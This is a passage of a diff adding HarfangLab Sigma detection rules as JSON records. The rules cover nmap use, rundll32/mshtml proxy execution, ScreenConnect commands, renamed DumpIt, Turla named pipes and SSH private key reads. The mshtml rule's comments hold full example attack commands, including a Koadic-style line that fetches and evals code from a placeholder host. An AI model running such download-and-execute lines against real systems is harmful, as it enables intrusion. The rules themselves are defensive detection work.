'/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_tanium:\n        ParentImage: '/opt/Tanium/TaniumClient/TaniumCX'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e47d7b4f-fc00-4688-b543-7d7ebf22b22e",
+  "rule_name": "Nmap Execution (Linux)",
+  "rule_description": "Detects the execution of nmap.\nNmap is a tool often used by attackers to map networks, services or open ports.\nIt is recommended to check if the usage of nmap is legitimate as well as to investigate other suspicious activities in the same user session.\n",
+  "rule_creation_date": "2022-07-01",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046",
+    "attack.t1049"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e4b1a453-f5d9-465a-ad14-912517214255",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086555Z",
+  "creation_date": "2026-03-23T11:45:34.086557Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086561Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/",
+    "https://lolbas-project.github.io/lolbas/Binaries/Rundll32/",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_jscript_rundll32_mshtml.yml",
+  "content": "title: Proxy Execution of JScript via mshtml and RunDLL32\nid: e4b1a453-f5d9-465a-ad14-912517214255\ndescription: |\n    Detects a suspicious invocation of mshtml by rundll32.\n    Adversaries may abuse rundll32.exe to proxy execution of malicious code.\n    Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations.\n    It is recommended to analyze the executed script as well as child processing stemming from RunDLL32 to look for further malicious actions or contents.\nreferences:\n    - https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/\n    - https://lolbas-project.github.io/lolbas/Binaries/Rundll32/\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2021/02/08\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - attack.execution\n    - attack.t1059.007\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Mshtml\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # rundll32.exe javascript:\"\\..\\mshtml.dll,RunHTMLApplication \";eval(\"w=new%20ActiveXObject(\\\"WScript.Shell\\\");w.run(\\\"calc\\\");window.close()\");\n    # rundll32.exe javascript:\"\\..\\mshtml, RunHTMLApplication \";x=new%20ActiveXObject(\"Msxml2.ServerXMLHTTP.6.0\");x.open(\"GET\",\"http://xxx.xxx.xxx.xxx:9997/fqwwj\",false);x.send();eval(x.responseText);window.close(); (Koadic)\n    selection_1:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n    selection_2:\n        CommandLine|contains|all:\n            - 'RunHTMLApplication'\n            - 'mshtml'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e4b1a453-f5d9-465a-ad14-912517214255",
+  "rule_name": "Proxy Execution of JScript via mshtml and RunDLL32",
+  "rule_description": "Detects a suspicious invocation of mshtml by rundll32.\nAdversaries may abuse rundll32.exe to proxy execution of malicious code.\nUsing rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations.\nIt is recommended to analyze the executed script as well as child processing stemming from RunDLL32 to look for further malicious actions or contents.\n",
+  "rule_creation_date": "2021-02-08",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.007",
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e4e89d8e-37ed-4481-b3e3-e2693f5cf335",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603391Z",
+  "creation_date": "2026-03-23T11:45:34.603395Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603402Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling",
+    "https://dfirtnt.wordpress.com/2023/07/14/rmm-screenconnect-client-side-evidence/",
+    "https://attack.mitre.org/techniques/T1219/002/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1219_002_screenconnect_command_via_powershell.yml",
+  "content": "title: PowerShell Command Executed via ScreenConnect\nid: e4e89d8e-37ed-4481-b3e3-e2693f5cf335\ndescription: |\n    Detects a command execution through ScreenConnect, a legitimate remote access tool.\n    Attackers can maliciously use remote access software to establish an interactive command and control channel to target systems within networks.\n    It is recommended to investigate this command to determine its legitimacy.\nreferences:\n    - https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling\n    - https://dfirtnt.wordpress.com/2023/07/14/rmm-screenconnect-client-side-evidence/\n    - https://attack.mitre.org/techniques/T1219/002/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2023/11/10\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.ScreenConnect\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentCommandLine|contains: '\\TEMP\\ScreenConnect\\\\*run.ps1'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e4e89d8e-37ed-4481-b3e3-e2693f5cf335",
+  "rule_name": "PowerShell Command Executed via ScreenConnect",
+  "rule_description": "Detects a command execution through ScreenConnect, a legitimate remote access tool.\nAttackers can maliciously use remote access software to establish an interactive command and control channel to target systems within networks.\nIt is recommended to investigate this command to determine its legitimacy.\n",
+  "rule_creation_date": "2023-11-10",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e51573be-62c7-442a-a91e-13e5a160db5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627932Z",
+  "creation_date": "2026-03-23T11:45:34.627934Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627939Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.synacktiv.com/publications/windows-secrets-extraction-a-summary",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_dumpit_renamed_executed.yml",
+  "content": "title: Renamed DumpIt Executed\nid: e51573be-62c7-442a-a91e-13e5a160db5e\ndescription: |\n    Detects the execution of a renamed DumpIt binary, a tool used to create full memory dumps for forensic or diagnostic purposes on Windows systems.\n    Attackers can use it to extract authentication secrets from memory and perform lateral movement within a network.\n    It is recommended to analyze the execution chain associated with this alert to determine its legitimacy.\nreferences:\n    - https://www.synacktiv.com/publications/windows-secrets-extraction-a-summary\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2025/11/21\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.DumpIt\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'DumpIt.exe'\n\n    # This is handled by the rule 59a2da9a-8334-4169-8886-427fec2a7c46\n    filter_name:\n        Name|contains: 'dumpit'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e51573be-62c7-442a-a91e-13e5a160db5e",
+  "rule_name": "Renamed DumpIt Executed",
+  "rule_description": "Detects the execution of a renamed DumpIt binary, a tool used to create full memory dumps for forensic or diagnostic purposes on Windows systems.\nAttackers can use it to extract authentication secrets from memory and perform lateral movement within a network.\nIt is recommended to analyze the execution chain associated with this alert to determine its legitimacy.\n",
+  "rule_creation_date": "2025-11-21",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e521ae35-46cb-41be-8caf-a9a475264dad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609127Z",
+  "creation_date": "2026-03-23T11:45:34.609131Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609138Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf",
+    "https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra",
+    "https://attack.mitre.org/techniques/T1106/"
+  ],
+  "name": "t1106_turla_named_pipe_created.yml",
+  "content": "title: Named Pipe Created linked to Turla\nid: e521ae35-46cb-41be-8caf-a9a475264dad\ndescription: |\n    Detects the creation of a Named Pipe pertaining to the Turla attacker group.\n    The Turla threat group has used specific named pipes for C2 communications and lateral movement within compromised networks.\n    It is recommended to monitor for any new lateralization alerts.\nreferences:\n    - https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf\n    - https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra\n    - https://attack.mitre.org/techniques/T1106/\ndate: 2022/07/11\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n  - attack.execution\n  - attack.t1106\n  - attack.t1559\n  - classification.Windows.Source.NamedPipe\n  - classification.Windows.ThreatActor.Turla\n  - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: named_pipe_connection\ndetection:\n    selection:\n        PipeName:\n            - '\\sdlrpc'\n            - '\\comnap'\n            - '\\iehelper'\n            - '\\userpipe'\n            - '\\atctl'\n\n    condition: selection\nlevel: high\n#level: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e521ae35-46cb-41be-8caf-a9a475264dad",
+  "rule_name": "Named Pipe Created linked to Turla",
+  "rule_description": "Detects the creation of a Named Pipe pertaining to the Turla attacker group.\nThe Turla threat group has used specific named pipes for C2 communications and lateral movement within compromised networks.\nIt is recommended to monitor for any new lateralization alerts.\n",
+  "rule_creation_date": "2022-07-11",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e5ceb02d-7761-4857-9490-099154c63e43",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612615Z",
+  "creation_date": "2026-03-23T11:45:34.612618Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612626Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1552/004/",
+    "https://attack.mitre.org/techniques/T1021/004/"
+  ],
+  "name": "t1021_004_ssh_private_key_read.yml",
+  "content": "title: SSH Private Key Read\nid: e5ceb02d-7761-4857-9490-099154c63e43\ndescription: |\n    Detects an attempt to read the content of an SSH private key.\n    The private key is the most important and secretive piece of data used when connecting to a remote host via SSH.\n    An attacker can read the SSH private keys available on a compromised system to connect to other remote hosts and impersonate an existing user or service.\n    It is recommended to analyze the process responsible for reading the SSH private key and to determine if it is legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1552/004/\n    - https://attack.mitre.org/techniques/T1021/004/\ndate: 2022/11/07\nmodified: 2025/11/24\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.004\n    - attack.lateral_movement\n    - attack.t1021.004\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_path:\n        - Path:\n            - '/home/*/.ssh/id_*'\n            - '/root/.ssh/id_*'\n          ProcessImage|contains: '?'\n        - TargetPath:\n            - '/home/*/.ssh/id_*'\n            - '/root/.ssh/id_*'\n          ProcessImage|contains: '?'\n\n    selection_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    filter_pub_key:\n        - Path|endswith: '.pub'\n        - TargetPath|endswith: '.pub'\n\n    exclusion_ssh:\n        - ProcessImage:\n            - '/usr/bin/ssh'\n            - '/gnu/store/*/bin/ssh'\n        - ProcessParentImage: '/usr/bin/ssh'\n    exclusion_scp:\n        - ProcessImage: '/usr/bin/scp'\n        - ProcessParentImage: '/usr/bin/scp'\n    exclusion_ssh_add:\n        ProcessImage: '/usr/bin/ssh-add'\n    exclusion_ssh_keygen:\n        ProcessImage: '/usr/bin/ssh-keygen'\n    exclusion_ssh_copy:\n        ProcessCommandLine|contains: 'sh /usr/bin/ssh-copy-id '\n    exclusion_gnome_keyring:\n        ProcessImage: '/usr/bin/gnome-keyring-daemon'\n    exclusion_seahorse:\n        ProcessImage: '/usr/bin/seahorse'\n    exclusion_eset:\n        ProcessImage|startswith: '/opt/eset/'\n    exclusion_remmina:\n        ProcessImage: '/usr/bin/remmina'\n        ProcessParentCommandLine: 'bash /usr/bin/remmina-file-wrapper'\n    exclusion_clamav:\n        ProcessImage: '/usr/bin/clamscan'\n    exclusion_zabbix:\n        ProcessImage: '/usr/sbin/zabbix_server'\n    exclusion_idataagent:\n        ProcessImage:\n            - '/opt/commvault/iDataAgent64/clBackup'\n            - '/opt/commvault2/iDataAgent64/clBackup'\n    exclusion_kdeinit:\n        ProcessImage: '/usr/bin/kdeinit5'\n    exclusion_dsagent:\n        ProcessImage: '/opt/ds_agent/ds_am'\n        ProcessGrandparentImage: '/usr/lib/systemd/systemd'\n\n    exclusion_xdg_gnome:\n        ProcessImage: '/usr/libexec/xdg-desktop-portal-gnome'\n        ProcessParentImage:\n            - '/lib/systemd/systemd'\n            - '/usr/lib/systemd/systemd'\n\n    exclusion_gapplication_service:\n        ProcessCommandLine|contains: '--gapplication-service'\n        ProcessImage:\n            - '/usr/bin/nautilus'\n            - '/usr/bin/gedit'\n\n    exclusion_tina:\n        ProcessCommandLine:\n            - '/tina/atempodedupengine/default/bin/.exe.ade_server'\n            - '/tina/atempowebinterfaces/*'\n            - '/tina/timenavigator/tina/*'\n            - '/usr/atempo/timenavigator/tina/3rdparty/*'\n            - '/usr/atempo/timenavigator/tina/bin/*'\n            - '/usr/tina/bin/*'\n            - '/usr/tina/timenavigator/tina/bin/*'\n            - '/var/hote/timenavigator/tina/3rdparty/*'\n            - '/var/hote/timenavigator/tina/bin/*'\n\n    exclusion_bacula:\n        ProcessImage:\n            - '/usr/sbin/bacula-fd'\n            - '/opt/bacula/bin/bacula-fd'\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    exclusion_fsecure:\n        - ProcessImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessParentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessGrandparentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n\n    exclusion_kde_kioslave:\n        ProcessImage: '/usr/lib/x86_64-linux-gnu/libexec/kf5/kioslave5'\n\n    exclusion_ansible_connection:\n        # /usr/bin/python3 /usr/local/bin/ansible-connection 1663518 4d9a5512-5360-d1ac-3a5c-00000000005b\n        ProcessCommandLine: '/usr/bin/python3 /usr/local/bin/ansible-connection ??????? ????????-????-????-????-????????????'\n\n    exclusion_proxmox:\n        ProcessImage: '/usr/bin/proxmox-backup-client'\n\n    exclusion_tanium:\n        ProcessParentCommandLine|startswith:\n            - '/bin/bash /opt/tanium/taniumclient/vb/tempunix_'\n            - '/opt/tanium/taniumclient/taniumclient '\n\n    exclusion_ibm_aspera:\n        ProcessImage: '/opt/aspera/orchestrator-*/vendor/ruby/bin/ruby'\n\n    exclusion_legitimate_process:\n        - ProcessImage:\n            - '/opt/qradar/ca/bin/si-qradarca'\n            - '/opt/atempo/hn/bin/hnagent'\n            - '/usr/libexec/xdg-document-portal'\n            - '/kaniko/executor'\n            - '/opt/ds_agent/ds_am'\n            - '/usr/bin/remmina'\n            - '/opt/omni/lbin/vbda'\n            - '/usr/local/cellar/openssh/*/bin/ssh'\n            - '/usr/bin/keepassxc'\n            - '/usr/libexec/gcr-ssh-agent'\n            - '/usr/sbin/veeamagent'\n            - '/usr/bin/rsync'\n            - '/usr/bin/git'\n            - '/gnu/store/*/bin/git'\n            - '/usr/bin/fzsftp'\n            - '/usr/bin/lsattr'\n            - '/usr/bin/file'\n            - '/bin/grep'\n            - '/usr/bin/grep'\n            - '/usr/bin/fzputtygen'\n            - '/opt/endpoint-agent/agent' # sekoia agent\n            - '/usr/libexec/openssh/sftp-server'\n            - '/opt/podman/bin/krunkit'\n            - '/opt/hpud/*/.discagnt/udscan'\n            - '/opt/McAfee/ens/tp/bin/mfetpd'\n            - '/usr/bin/tar'\n        - ProcessCommandLine:\n            - 'airflow worker -- localexecutor'\n            - '/opt/airflow/bin/celery -A airflow.executors.*'\n            - '[celeryd: celery@*:ForkPoolWorker-*]'\n            - '/opt/qradar/ca/bin/si-qradarca monitor -debug'\n            - '/opt/atempo/hn/bin/hnagent'\n            - '/usr/libexec/xdg-document-portal'\n            - 'puma * (tcp://0.0.0.0:8888) [/]'\n            - 'java -dtalend.component.manager.m2.repository=*'\n            - 'ruby /usr/local/bundle/bin/bundle exec sidekiq -c config/sidekiq_node.yml*'\n            - 'python */pulse_xmpp_agent/agentxmpp.py -d -t relayserver'\n            - '/usr/bin/python3 */pulse_xmpp_agent/agentxmpp.py -d -t relayserver'\n            - 'sidekiq * [* of * busy]'\n            - '/usr/bin/java * -dconfig=/etc/centreon-bi/*config.properties*'\n            - '/opt/ds_agent/ds_am*'\n            - 'remmina'\n            - '*airflow-project/airflow-env/bin/python3 -m gunicorn*'\n            - 'airflow worker -- localexecutor: *'\n            - '/usr/bin/lsattr -vd /root/.ssh/id_dsa_rsync'\n            - '/usr/bin/python3 -sp /usr/bin/borg create *'\n            - 'aide --config=/etc/aide/aide.conf --update'\n            - '/usr/bin/ruby /usr/bin/puppet agent *'\n            - '/bin/sh /bin/ssh-copy-id *'\n        - ProcessParentImage:\n            - '/usr/bin/rsync'\n            - '/usr/libexec/gvfsd'\n            - '/opt/puppetlabs/puppet/bin/ruby'\n        - ProcessParentCommandLine|contains: '/opt/airflow/bin/celery'\n\n    exclusion_aide:\n        ProcessImage|endswith: '/bin/aide'\n\n    exclusion_tomcat:\n        ProcessCommandLine|contains: '/bin/java -Djava.util.logging.config.file='\n        ProcessParentCommandLine|startswith:\n            - '/bin/sh /opt/tomcat/*/bin/catalina.sh '\n            - '/usr/lib/systemd/systemd'\n\n    exclusion_container:\n        ProcessAncestors|contains:\n            - '|/usr/bin/dockerd-current|'\n            - '|/usr/bin/containerd|'\n            - '|/usr/bin/containerd-shim|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_enovacom:\n        ProcessAncestors|startswith: '/usr/enovacom/eai/ext/bin/wrapper-linux-x86-64|'\n\n    exclusion_telegraf:\n        ProcessImage: '/usr/local/bin/ssh'\n        ProcessCurrentDirectory: '/home/telegraf/'\n\n    exclusion_cron:\n        ProcessAncestors|endswith:\n            - '|/usr/sbin/cron|/usr/lib/systemd/systemd'\n            - '|/usr/sbin/crond|/usr/lib/systemd/systemd'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e5ceb02d-7761-4857-9490-099154c63e43",
+  "rule_name": "SSH Private Key Read",
+  "rule_description": "Detects an attempt to read the content of an SSH private key.\nThe private key is the most important and secretive piece of data used when connecting to a remote host via SSH.\nAn attacker can read the SSH private keys available on a compromised system to connect to other remote hosts and impersonate an existing user or service.\nIt is recommended to analyze the process responsible for reading the SSH private key and to determine if it is legitimate.\n",
+  "rule_creation_date": "2022-11-07",
+  "rule_modified_date": "2025-11-24",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.004",
+    "attack.t1552.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e5d1db90-73a9-4014-a85c-e240ee90e52e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605561Z",
+  "creation_date": "2026-03-23T11:45:34.605564Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605571Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875576(v=ws.11)",
+    "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/",
+    "https://attack.mitre.org/techniques/T1018/",
+    "https://attack.mitre.org/techniques/T1135/"
+  ],
+  "name": "t1018_netview_remote_system_discovery.yml",
